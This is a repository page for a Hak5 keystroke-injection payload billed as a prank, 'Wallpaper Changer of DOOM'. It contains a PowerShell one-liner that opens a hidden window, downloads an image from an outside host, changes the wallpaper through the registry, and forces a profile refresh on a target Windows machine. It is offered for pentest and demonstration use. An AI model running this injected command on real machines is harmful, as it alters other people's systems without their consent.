0ee25f8d0d
Some more shortening. Only 183 characters! powershell -w h "$p=$home+'\b.jpg';iwr h4k.cc/b.jpg -O $p;SP 'HKCU:Control Panel\Desktop' WallPaper $p;1..59|%{RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True;sleep 1}" * Omit http:// from URI * powershell -w h to start a hidden powershell windows * set variable $p for later re-use (saves characters) * Omit -Uri and redundant characters in -Outfile (-O) switches * 1..59|% to create a loop for 60 seconds * use $home as directory |
||
---|---|---|
.. | ||
payload.txt | ||
readme.md |
readme.md
Wallpaper Changer of DOOM!!!!
- Author: Hak5Darren
- Props: Alex Goat
- Demo: Hak5 episode 2502 - https://youtu.be/f3C58OKOsuo
- Target: Windows Vista+
- Category: Prank
Description
Single stage powershell one-liner executes from run dialog. CMD opens a minimized powershell window which downloads b.jpg (change this URL) to c:\windows\temp then sets the registry entry to change the wallpaper, then finally loops over an undocumented USER32.DLL feature for 60 seconds to force a user profile refresh.
STATUS
LED | Status |
---|---|
SETUP | Setting attack mode |
ATACK | Injecting keystrokes |